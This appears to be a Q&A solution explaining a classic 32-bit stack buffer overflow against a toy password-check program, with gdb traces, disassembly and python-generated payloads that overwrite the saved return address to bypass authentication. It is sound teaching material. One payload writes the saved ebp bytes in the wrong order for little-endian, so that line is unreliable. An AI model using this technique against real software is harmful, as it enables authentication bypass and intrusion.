Attempting a buffer overflow

buffer-overflow, c

Solution

This is quite easy to exploit, here is the way to walk through.

First compile it with `-g`, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved `eip` of `check_auth1()` and move it to the else-part of the test in the `main()` function.

$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9       int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
 called by frame at 0xffffd320
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
   ebp at 0xffffd2e8, eip at 0xffffd2ec

We stopped at `check_auth1()` and displayed the stack frame. We saw that the saved `eip` is stored in the stack at `0xffffd2ec` and contains `0x804853f`.

Let see to what it does lead:

(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ff <+0>:     push   %ebp
   0x08048500 <+1>:     mov    %esp,%ebp
   0x08048502 <+3>:     and    $0xfffffff0,%esp
   0x08048505 <+6>:     sub    $0x20,%esp
   0x08048508 <+9>:     cmpl   $0x1,0x8(%ebp)
   0x0804850c <+13>:    jg     0x804852f <main+48>
   0x0804850e <+15>:    mov    0xc(%ebp),%eax
   0x08048511 <+18>:    mov    (%eax),%eax
   0x08048513 <+20>:    mov    %eax,0x4(%esp)
   0x08048517 <+24>:    movl   $0x8048604,(%esp)
   0x0804851e <+31>:    call   0x8048360 <printf@plt>
   0x08048523 <+36>:    movl   $0x0,(%esp)
   0x0804852a <+43>:    call   0x80483a0 <exit@plt>
   0x0804852f <+48>:    mov    0xc(%ebp),%eax
   0x08048532 <+51>:    add    $0x4,%eax
   0x08048535 <+54>:    mov    (%eax),%eax
   0x08048537 <+56>:    mov    %eax,(%esp)
   0x0804853a <+59>:    call   0x80484bd <check_auth1>
   0x0804853f <+64>:    mov    %eax,0x1c(%esp)   <-- We jump here when returning
   0x08048543 <+68>:    cmpl   $0x1,0x1c(%esp)
   0x08048548 <+73>:    je     0x8048558 <main+89>
   0x0804854a <+75>:    movl   $0x804861a,(%esp)
   0x08048551 <+82>:    call   0x8048380 <puts@plt>
   0x08048556 <+87>:    jmp    0x8048564 <main+101>
   0x08048558 <+89>:    movl   $0x8048627,(%esp) <-- We want to jump here
   0x0804855f <+96>:    call   0x8048380 <puts@plt>
   0x08048564 <+101>:   mov    $0x0,%eax
   0x08048569 <+106>:   leave  
   0x0804856a <+107>:   ret    
End of assembler dump.

But the truth is that we want to avoid to go through the `cmpl $0x1,0x1c(%esp)` and go directly to the else-part of the test. Meaning that we want to jump to `0x08048558`.

Anyway, lets first try to see if our 28 '`A`' are enough to rewrite the saved `eip`.

(gdb) next
10      strcpy(password_buffer, password);
(gdb) next
11      if (strcmp(password_buffer, "cup") == 0) {

Here, the `strcpy` did the overflow, so lets look at the stack-frame:

(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
 called by frame at 0xffffd2f4
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec

Indeed, we rewrote the saved eip with '`A`' (`0x41` is the hexadecimal code for `A`). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.

One thing is that you need to reorder the bytes to take the little-endianess into account. So, `0x08048558` will become `\x58\x85\x04\x08`.

Finally, you will also need to write some meaningful address for the saved `ebp` value (not `AAAA`), so my trick is just to double the last address like this:

$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`

Note that there is no need to disable the ASLR, because you are jumping in the `.text` section (and this section do no move under the ASLR). But, you definitely need to disable canaries.

EDIT: I was wrong about replacing the saved `ebp` by our saved `eip`. In fact, if you do not give the right `ebp` you will hit a segfault when attempting to exit from `main`. This is because, we did set the saved `ebp` to somewhere in the `.text` section and, even if there is no problem when returning from `check_auth1`, the stack frame will be restored improperly when returning in the `main` function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved `ebp` we wrote (and pointing to the instructions) will be mistaken with the saved `eip` of `main`. So, either you disable the ASLR and write the correct address of the saved `ebp` (`0xffffd330`) which will lead to

 $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`

Or, you need to perform a ROP that will perform a clean `exit(0)` (which is usually quite easy to achieve).

Problem

Original source